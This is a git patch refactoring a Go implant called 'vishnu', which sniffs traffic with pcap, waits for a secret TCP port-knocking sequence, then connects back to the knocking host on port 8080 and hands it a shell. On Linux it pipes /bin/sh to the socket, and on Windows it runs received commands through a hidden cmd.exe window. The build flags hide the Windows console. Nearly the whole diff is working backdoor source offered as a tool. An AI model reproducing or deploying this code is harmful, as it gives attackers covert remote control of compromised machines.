From 3f6d3b3f809457cef6308a90b22747dd22cfba4d Mon Sep 17 00:00:00 2001 From: d3adzo Date: Sat, 15 Jan 2022 14:26:27 -0500 Subject: [PATCH] cross compile, now testing --- .gitignore | 1 + Makefile | 27 ++--- go.mod | 4 +- go.sum | 17 --- src/vishnu.go => main.go | 212 ++++++++++++++++--------------------- spec/spec_linux.go | 23 ++++ spec/spec_windows_amd64.go | 49 +++++++++ 7 files changed, 171 insertions(+), 162 deletions(-) create mode 100644 .gitignore rename src/vishnu.go => main.go (56%) create mode 100644 spec/spec_linux.go create mode 100644 spec/spec_windows_amd64.go diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c5e82d7 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +bin \ No newline at end of file diff --git a/Makefile b/Makefile index d29eb76..0d9ac5f 100644 --- a/Makefile +++ b/Makefile @@ -1,36 +1,21 @@ DIRECTORY=bin -MAC=macos-agent LINUX=linux-agent WIN=windows-agent.exe -RASP=rasp -BSD=bsd-agent FLAGS=-ldflags "-s -w" WIN-FLAGS=-ldflags -H=windowsgui -all: clean create-directory agent-mac agent-linux agent-windows agent-rasp +all: clean create-directory agent-windows agent-linux create-directory: mkdir ${DIRECTORY} -agent-mac: - echo "Compiling macos binary" - env GOOS=darwin GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${MAC} src/vishnu.go +agent-windows: + echo "Compiling Windows binary" + env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} main.go agent-linux: echo "Compiling Linux binary" - env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} src/vishnu.go - -agent-windows: - echo "Compiling Windows binary" - env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} src/vishnu.go - -agent-rasp: - echo "Compiling RASPI binary" - env GOOS=linux GOARCH=arm GOARM=7 go build ${FLAGS} -o ${DIRECTORY}/${RASP} src/vishnu.go - -agent-fuckbsd: - echo "Compiling FUCKBSD binary" - env GOOS=freebsd GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${BSD} src/vishnu.go + env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} main.go clean: - rm -rf ${DIRECTORY} \ No newline at end of file + rm -rf ${DIRECTORY} diff --git a/go.mod b/go.mod index ff43b91..7f9b84a 100644 --- a/go.mod +++ b/go.mod @@ -1,7 +1,7 @@ -module vishnu/src +module vishnu go 1.17 require github.com/google/gopacket v1.1.19 -require gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 // indirect +require golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect diff --git a/go.sum b/go.sum index 5d5e995..a915606 100644 --- a/go.sum +++ b/go.sum @@ -1,33 +1,16 @@ github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40 h1:dizWJqTWjwyD8KGcMOwgrkqu1JIkofYgKkmDeNE7oAs= -gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40/go.mod h1:rOnSnoRyxMI3fe/7KIbVcsHRGxe30OONv8dEgo+vCfA= -gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 h1:WKij6HF8ECp9E7K0E44dew9NrRDGiNR5u4EFsXnJUx4= -gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6/go.mod h1:vhrHTGDh4YR7wK8Z+kRJ+x8SF/6RUM3Vb64Si5FD0L8= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w= -golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/src/vishnu.go b/main.go similarity index 56% rename from src/vishnu.go rename to main.go index e109311..d3ec841 100644 --- a/src/vishnu.go +++ b/main.go @@ -1,36 +1,35 @@ package main import ( - "bufio" "errors" "fmt" "log" "math/rand" - "net" "os" "os/exec" "runtime" "strconv" - "strings" - "syscall" + + "vishnu/spec" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" ) -var ( - targetInterface = "ens160" - snaplen = int32(1600) +type targetInfo struct { + os string + iFace string + snaplen int32 // vishnu uses tcp port knocking - filter = "tcp" + filter string // ports in order to port knock on - secretPorts = []int{1, 2, 3, 4} + secretPorts []int // how far into the sequence we are // when secretCounter == len(secretPorts), // port knocking is complete and shell is given - secretCounter = 0 -) + secretCounter int +} const ( // if true, connect back to knocking @@ -40,129 +39,43 @@ const ( connectbackPort = "8080" ) +// create target info struct +func sInit(os string) *targetInfo { + tInfo := targetInfo{} + + tInfo.os = os + tInfo.iFace = spec.GetAdapter() + + tInfo.snaplen = int32(1600) + tInfo.filter = "tcp" + tInfo.secretPorts = []int{1, 2, 3, 4} + tInfo.secretCounter = 0 + + return &tInfo +} + func main() { - if runtime.GOOS == "windows" { - targetInterface = GetWinAdapter() - } + tInfo := sInit(runtime.GOOS) + // Read package and analze them - handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever) + handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever) errorPrinter(err) - handle.SetBPFFilter(filter) + handle.SetBPFFilter(tInfo.filter) packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets() for pkt := range packets { // Your analysis here! Get the important stuff - printPacketInfo(pkt) + printPacketInfo(pkt, tInfo) } } -func GetWinAdapter() string { - var iface string - output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap - if err != nil { - log.Panicln(err) - } - startIndex := strings.Index(string(output), "_{") - finalIndex := strings.Index(string(output), "}") - - temp := string(output)[startIndex+2 : finalIndex] - iface = "\\Device\\NPF_{" + temp + "}" - - return iface -} - -func errorPrinter(err error) { - if err != nil { - log.Panicln(err) - } -} - -func grabRemoteIP(packet gopacket.Packet) (string, error) { - iplayer := packet.Layer(layers.LayerTypeIPv4) - if iplayer == nil { - return "", errors.New("Packet is not IPv4") +func vishnu(ip string, tInfo *targetInfo) { + if tInfo.os == "windows" { + spec.ConnectBack(ip, connectbackPort) } - ip, _ := iplayer.(*layers.IPv4) - return ip.SrcIP.String(), nil -} - -func printPacketInfo(packet gopacket.Packet) { - - // Let's see if the packet is TCP - tcpLayer := packet.Layer(layers.LayerTypeTCP) - if tcpLayer != nil { - tcp, _ := tcpLayer.(*layers.TCP) - - // Check the TCP Flag - if tcp.SYN { - // fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort) - // Check dst port for secret port - if tcp.DstPort == layers.TCPPort(secretPorts[secretCounter]) { - secretCounter++ - } else { - // reset counter - secretCounter = 0 - } - } - } - - if secretCounter == len(secretPorts) { - secretCounter = 0 - // grab IP address - ip, err := grabRemoteIP(packet) - // TODO maybe just listen if connectback is - // on and we can't get the remote IP - if connectback && err != nil { - return - } - - // open the gateway - go vishnu(ip) - } - - // Check for errors - if err := packet.ErrorLayer(); err != nil { - fmt.Println("Error decoding some part of the packet:", err) - } -} - -func connectBack(ip string) { - // TODO make this a PTY shell instead - addr := net.JoinHostPort(ip, connectbackPort) - conn, err := net.Dial("tcp", addr) - if err != nil { - // TODO: figure out error handling - return - } - - if runtime.GOOS == "windows" { - r := bufio.NewReader(conn) - for { - order, err := r.ReadString('\n') - if nil != err { - conn.Close() - return - } - - cmd := exec.Command("cmd", "/C", order) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - out, _ := cmd.CombinedOutput() - - conn.Write(out) - } - } else { - cmd := exec.Command("/bin/sh") - cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn - cmd.Run() - conn.Close() - } - -} - -func vishnu(ip string) { - if connectback || runtime.GOOS == "windows" { - connectBack(ip) + if connectback && tInfo.os != "windows" { + spec.ConnectBack(ip, connectbackPort) } else { randomPort := rand.Intn(65535-100) + 100 // println("The doors are open on port ", strconv.Itoa(randomPort)) @@ -178,3 +91,58 @@ func vishnu(ip string) { exec.Command("/usr/sbin/inetd").Run() } } + +func grabRemoteIP(packet gopacket.Packet) (string, error) { + iplayer := packet.Layer(layers.LayerTypeIPv4) + if iplayer == nil { + return "", errors.New("Packet is not IPv4") + } + + ip, _ := iplayer.(*layers.IPv4) + return ip.SrcIP.String(), nil +} + +func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) { + // Let's see if the packet is TCP + tcpLayer := packet.Layer(layers.LayerTypeTCP) + if tcpLayer != nil { + tcp, _ := tcpLayer.(*layers.TCP) + + // Check the TCP Flag + if tcp.SYN { + // fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort) + // Check dst port for secret port + if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { + tInfo.secretCounter++ + } else { + // reset counter + tInfo.secretCounter = 0 + } + } + } + + if tInfo.secretCounter == len(tInfo.secretPorts) { + tInfo.secretCounter = 0 + // grab IP address + ip, err := grabRemoteIP(packet) + // TODO maybe just listen if connectback is + // on and we can't get the remote IP + if connectback && err != nil { + return + } + + // open the gateway + go vishnu(ip, tInfo) + } + + // Check for errors + if err := packet.ErrorLayer(); err != nil { + fmt.Println("Error decoding some part of the packet:", err) + } +} + +func errorPrinter(err error) { + if err != nil { + log.Panicln(err) + } +} diff --git a/spec/spec_linux.go b/spec/spec_linux.go new file mode 100644 index 0000000..6485576 --- /dev/null +++ b/spec/spec_linux.go @@ -0,0 +1,23 @@ +package spec + +import ( + "net" + "os/exec" +) + +func GetAdapter() string { + return "ens160" +} + +func ConnectBack(ip string, connectbackPort string) { + addr := net.JoinHostPort(ip, connectbackPort) + conn, err := net.Dial("tcp", addr) + if err != nil { + // TODO: figure out error handling + return + } + cmd := exec.Command("/bin/sh") + cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn + cmd.Run() + conn.Close() +} diff --git a/spec/spec_windows_amd64.go b/spec/spec_windows_amd64.go new file mode 100644 index 0000000..7c86827 --- /dev/null +++ b/spec/spec_windows_amd64.go @@ -0,0 +1,49 @@ +package spec + +import ( + "bufio" + "log" + "net" + "os/exec" + "strings" + "syscall" +) + +func GetAdapter() string { + var iface string + output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap + if err != nil { + log.Panicln(err) + } + startIndex := strings.Index(string(output), "_{") + finalIndex := strings.Index(string(output), "}") + + temp := string(output)[startIndex+2 : finalIndex] + iface = "\\Device\\NPF_{" + temp + "}" + + return iface +} + +func ConnectBack(ip string, connectbackPort string) { + // TODO make this a PTY shell instead + addr := net.JoinHostPort(ip, connectbackPort) + conn, err := net.Dial("tcp", addr) + if err != nil { + // TODO: figure out error handling + return + } + r := bufio.NewReader(conn) + for { + order, err := r.ReadString('\n') + if nil != err { + conn.Close() + return + } + + cmd := exec.Command("cmd", "/C", order) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + out, _ := cmd.CombinedOutput() + + conn.Write(out) + } +}